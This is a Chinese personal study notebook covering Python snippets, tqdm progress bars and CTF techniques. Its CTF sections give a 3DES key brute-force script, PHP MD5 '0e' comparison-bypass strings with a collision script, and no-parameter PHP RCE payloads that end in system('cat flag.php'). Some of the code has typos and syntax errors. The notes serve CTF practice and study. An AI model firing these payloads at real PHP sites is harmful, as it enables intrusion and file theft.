实用小笔记

操作系统

使用`WScript.Shell`创建隐藏窗口

你可以使用`WScript.Shell`对象来执行一个命令，并将其窗口设置为隐藏。以下是一个代码示例：

```
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.Run "your_script.bat", 0, False
Set objShell = Nothing
```

在这个例子中，`your_script.bat`是你想要运行的批处理文件。第二个参数`0`表示窗口的状态为隐藏。第三个参数`False`表示该脚本在运行时不会等待该命令完成。

Python

Python中int转bytes的方法

在Python中，可以使用int.to_bytes()方法将整数转换为字节对象。这个方法允许你指定字节数和字节序(endianness)。以下是如何将整数转换为字节的基本用法。

使用int.to_bytes()

int.to_bytes(length, byteorder)方法的参数：

- length：要生成的字节数。如果你希望将一个整数转换为一个特定字节数的字节对象，你需要知道该整数的范围。
- byteorder：字节序，可以是big或little，分别表示大端序和小端序。

示例代码

```python
number = 193
num_bytes = number.to_bytes(1, byteorder='big')
print(f"Integer:{number}")
print(f"Bytes:{num_bytes}")
# 转换多个整数为字节
# 将 RGBA 值转换为字节
rgba_values = [193, 147, 232, 33]
bytes_array = bytes(rgba_values) # 使用 bytes() 转换列表为字节
print(f"RGBA as bytes:{bytes_array}")
```

将Python对象转换为JSON字符串

格式化JSON的方法

1. 使用json.dumps()：将Python对象转换为格式化的JSON字符串。
2. 使用indent参数：指定缩进的空格数，使JSON数据更易读。
3. 设置sort_keys参数：如果设置为True，字典的键将按字母顺序排序。

```python
import json
# 示例 JSON 数据（Python 字典）
data = {
    "name": "Alice",
    "age": 30,
    "city": "New York",
    "is_student": False,
    "courses": ["Math", "Science"],
    "address": {
        "street": "123 Main St",
        "zipcode": "10001"
    }
}
# 将 Python 字典转换为格式化的 JSON 字符串
formatted_json = json.dumps(data, indent=4, sort_keys=True)
# 打印格式化后的 JSON 字符串
print(formatted_json)
```

从JSON字符串加载并格式化

如果你有一个JSON字符串，你可以使用json.loads()加载它，然后再使用json.dumps()格式化：

```
json_string = '{"name": "Bob", "age": 25, "city": "Los Angeles"}'
# 从 JSON 字符串加载
data = json.loads(json_string)
# 格式化 JSON 数据
formatted_json = json.dumps(data, indent=4)
# 打印格式化后的 JSON 字符串
print(formatted_json)
```

Triple DES_Decode - Python

```
from Crypto.Cipher import DES3
from tqdm import trange
cpt = 'ABCD'
c = long_to_bytes(0x570fc2416dad7569c13356820ba67ba628c6a5fcbc73f1c8689612d23c3a779befeacf678f93ff5eb4b58dc09dcb9a89)

for i in range(2^18):
    k = ''
    n = i
    for _ in range(9):
        k += cpt[n%4]
        n //= 4
    des3 = DES3.new(mode = DES3.MODE_CBC, iv = b'12345678', key = b'D'+k.encode()+b'000000')
    if b'DASCTF' in des3.decrypt(c):
        des3 = DES3.new(mode = DES3.MODE_CBC, iv = b'12345678', key = b'D'+k.encode()+b'000000')
        print(des3.decrypt(c))
        break
```

Python实现进度条

在Python中可以使用tqdm库来实现进度条，这个库不仅可以轻松地创建进度条，而且一般情况下它的性能也很高，不会对程序地效率产生显著的影响。
下面是一个简单的示例，模拟爆破(破解密码)过程，并使用tqdm显示进度条

```
import time
import random
from tqdm import tqdm
def brute_force_password(target_password, charset, max_length):
    attempts = 0
    total_attempts = len(charset) ** max_length ## 计算总的尝试次数
    # 使用 tqdm 创建进度条
    with tqdm(total=total_attempts, desc="Brute forcing", unit="attempt") as pbar:
        for length in range(1, max_length + 1):
```

```
            for attempt in generate_attempts(charset, length):
                attemps += 1
                # 模拟密码检查
                if attempt == target_password:
                    print(f"Password found: {attempt} in {attempts}
attempts")
                    return attempts
                pbar.update(1) # 更新进度条
                time.sleep(0.01) # 添加延迟以模拟工作负荷
    print("Password not found.")
    return None

def generate_attempts(charset, length):
    """ 生成所有可能的尝试（简单示例，未实现完整的组合生成） """
    from itertools import product
    for attempt in product(charset, repeat=length):
        yield ''.join(attempt)
# 示例设置
target_password = "abc"
charset = "abc"
max_length = 3
brute_force_password(target_password, charset, max_length)
```

主要参数

1. iterable:
   类型: 可迭代对象（如列表、元组、范围等）。
   描述: 待迭代的对象，tqdm 将根据这个对象的长度生成进度条。
2. desc:
   类型: 字符串。
   描述: 进度条的前缀描述，显示在进度条的左侧，便于了解当前进度的上下文。
3. total:
   类型: 整数。
   描述: 指定进度条的总数，通常用于不可迭代的情况下（例如，你可能在使用生成器时想要设定一个总数）。
4. leave:
   类型: 布尔值（True 或 False）。
   描述: 是否在循环结束后保留进度条。默认值是 False，如果设置为 True，进度条将在完成后显示在终端中。
5. ncols:
   类型: 整数或 None。
   描述: 指定进度条的宽度，以字符为单位。如果设置为 None，则会自动调整以适应终端宽度。
6. mininterval:
   类型: 浮点数。
   描述: 进度条更新的最小时间间隔（单位：秒）。如果更新频率过高，则可能会减少更新频率，以避免过多的计算开销。
7. maxinterval:
   类型: 浮点数。
   描述: 进度条更新的最大时间间隔（单位：秒）。如果进度条更新过慢，则会增加更新频率。
8. ascii:
   类型: 布尔值或字符串。

描述: 如果设置为 True，则使用 ASCII 字符来绘制进度条；如果设置为 False，则使用 Unicode 字符。

9. unit:
   类型: 字符串。
   描述: 用于表示每个迭代单位的标签，默认为 iter，可以根据需要更改，例如 file、item 等。
10. unit_scale:
    类型: 布尔值。
    描述: 如果设置为 True，则会自动缩放显示的数量。例如，如果总数是 1000，将显示为 1.0k。
11. bar_format:
    类型: 字符串。
    描述: 自定义进度条的格式，允许用户控制进度条的显示方式。
12. color:
    类型: 字符串。
    描述: 设置进度条的颜色，通常用于终端支持的颜色名称。

更新后的第七届省赛CTF决赛签到爆破脚本

```python
#!/usr/bin/env python
from Crypto.Cipher import DES3
from tqdm import tqdm
from Crypto.Util.number import long_to_bytes
cpt = 'ABCD'
c = long_to_bytes(0x570fc2416dad7569c13356820ba67ba628c6a5fcbc73f1c8689612d23c3a779befeacf678f93ff5eb4b58dc09dcb9a89)
# print(f"c: {c}")
with tqdm(total=2**18, desc="Process") as pbar:
    for i in range(2**18):
        # print(f"i: {i}")
        k = ''
        n = i
        for _ in range(9):
            k += cpt[n%4]
            n //= 4
        # print(f"k: {k}, i")
        des3 = DES3.new(mode = DES3.MODE_CBC, iv = b'12345678', key = b'D'+k.encode()+b'000000')
        if b'DASCTF' in des3.decrypt(c):
            # print(f"Get! ==> {des3.decrypt(c)}")
            des3 = DES3.new(mode = DES3.MODE_CBC, iv = b'12345678', key = b'D'+k.encode()+b'000000')
            print(f"Get! ==> {des3.decrypt(c)}")
            # print(f"Get! ==> {des3.decrypt(c)}")
            break
        pbar.update(1)
```

MD5

单MD5绕过

CTF 中 md5 判等可使用 0e 绕过，但是如果是双md5该如何绕过呢？本文将教你如何绕过 md5(md5($_GET['a'])) == md5($_GET[b'])。

例子

```php
<?php

if (isset($_GET['a']) && isset($_GET['b'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    if ($a != $b && md5($a) == md5($b)) {
        echo "flag{XXXXX}";
    } else {
        echo "wrong!";
    }

} else {
    echo 'wrong!';
}
?>
```

上面只要传入参数 a=s1885207154a， b=s1836677006a，即可，为什么呢？看一下这两个字符串的md5值可以返现分别如下：

```
MD5值：
md5("s1885207154a") => 0e509367213418206700842008763514
md5("s1836677006a") => 0e481036490867661113260034900752
```

二者都是 0e 开头，在 php 中 0e 会被当做科学计数法，就算后面有字母，其结果也是 0，所以上面的if判断结果使 true，成功绕过！

双MD5碰撞绕过

例子

```php
<?php

if (isset($_GET['a']) && isset($_GET['b'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    if ($a != $b && md5($a) == md5(md5($b)) {
        echo "flag{XXXXX}";
    } else {
        echo "wrong!";
    }

} else {
    echo 'wrong!';
}
?>
```

双面的判断出现了`md5(md5($b)`，有了前面的铺垫，这里我们第一感觉就是找到一个字符串其`MD5`值的`MD5`仍然是`0e`开头的那就好了。开始的时候我不敢相信，那几率得多小啊，但是在昨天做一道`md5`截断碰撞的时候我就来了灵感，何不尝试一下，结果发现原来这种字符串使真的存在，并且碰撞`0e`开头的时候不到一秒钟就能碰撞到。各位观众，下面请看：

```
MD5值：
md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea
md5("0e18bb6e1************") => 0e0a710a092113dd5ec9dd47d4d7b86f
```

原来真的存在0e开头的MD5值其md5结果也是0e开头，所以此题答案便出来了。`a=s1885207154a`，`b=V5VDSHva7fjyJoJ33IQl`即可绕过`if`判断。
其实上面的这种双`md5`值`0e`开头的字符串有很多，但是网上似乎很见到，几乎没有，下面发布一些。

0x03 双MD5结果仍为0e开头字符串大全

```
MD5大全：
CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
77OhQgrBOjrcqftrlaZk
md5(77OhQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(77OhQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
```

MD5碰撞脚本

```python
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,. start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start+str_len] == substr:
            print rnds
            stop_event.set()
            '''
            #碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start+str_len] == substr:
                print rnds+ "=>" + value+"=>"+ md5.hexdigest()  + "\n"
                stop_event.set()
            '''

if __name__ == '__main__':
    substr = sys.argv[1].strip()
```

```
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()
```

使用方法：`python md5Crack.py "你要碰撞的字符串"字符串的起始位置`
例如：`python md5Crack.py "0e"0`
将产生`MD5`值为`0e`开头的字符串。

RCE

无参数RCE

> 2024年浙江省赛出现了，当时做的很慢，很久没碰了

在杨杰的笔记中找到了相关的操作：

```
?c =
print_r(scandir(current(localeconv()));show_source(next(array_reverse(scandi
r(pos(localeconv())))))
# 查找定义的变量传参执行：
?c = print_r(get_defined_vars())
?c = print_r(next(get_defined_vars()))
?c = eval(array_pop(next(get_defined_vars())));daigua=system('cat flag.php');
```

报错学习

`AttributeError: module 'string' has no attribute 'letters'`
你遇到的错误信息表明在`Python`的`string`模块中没有`letters`这个属性。这是因为在`Python 3`中，`string.letters`已被移除。相应的，`string`模块提供了`string.ascii_letters`来表示所有字母字符。